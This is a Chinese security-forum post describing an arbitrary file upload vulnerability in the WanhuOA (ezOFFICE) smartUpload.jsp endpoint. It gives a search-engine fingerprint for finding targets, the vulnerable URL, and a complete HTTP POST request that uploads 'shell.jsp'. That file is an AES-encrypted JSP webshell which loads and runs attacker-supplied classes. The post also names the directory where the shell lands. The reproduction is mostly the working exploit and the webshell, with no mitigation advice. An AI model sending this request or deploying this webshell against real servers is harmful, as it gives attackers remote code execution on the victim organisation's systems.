奇安信攻防社区-WanhuOA smartUpload.jsp 任意文件上传漏洞

WanhuOA smartUpload.jsp 任意文件上传漏洞

# WanhuOA smartUpload.jsp 任意文件上传漏洞 ## 漏洞描述 WanhuOA smartUpload.jsp文件存在文件上传接口，且没有对文件类型进行过滤,导致任意文件上传漏洞 ## 漏洞影响 WanhuOA...

WanhuOA smartUpload.jsp 任意文件上传漏洞
================================

漏洞描述
----

WanhuOA smartUpload.jsp文件存在文件上传接口，且没有对文件类型进行过滤,导致任意文件上传漏洞

漏洞影响
----

WanhuOA

网络测绘
----

app="Wanhu网络-ezOFFICE"

漏洞复现
----

产品页面

![img](https://shs3.b.qianxin.com/butian_public/f979293e3cd34562f02eb65855030c2339fa58b7bdb2c.jpg)

文件上传接口

```python
/defaultroot/extension/smartUpload.jsp?path=information&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0
```

![img](https://shs3.b.qianxin.com/butian_public/f579715afb485d9584b9181947ff2f68ef00b9804c24c.jpg)

可直接上传恶意jsp文件

```python
POST /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1
Host: 
Content-Length: 938
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynNQ8hoU56tfSwBVU
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=PjXnh6bLTzy0ygQf41vWctGPLGkSvkJ6J1yS3ppzJmCvVFQZgm1r!1156443419
Connection: close

------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="photo"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="continueUpload"

1
------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="submit"

上传继续
------WebKitFormBoundarynNQ8hoU56tfSwBVU--
```

![img](https://shs3.b.qianxin.com/butian_public/f2770467e962e10c499f5748c1c2a299d1c3a10b93e5f.jpg)

通过抓包可查看上传的文件名，上传的目录为 `/defaultroot/upload/information/`

![img](https://shs3.b.qianxin.com/butian_public/f15501033c1f54ee406f8d666020d5238b233dddcf62d.jpg)

发表于 2024-07-12 18:44:36
阅读 ( 1093 )
分类：OA产品

WanhuOA smartUpload.jsp 任意文件上传漏洞

0 条评论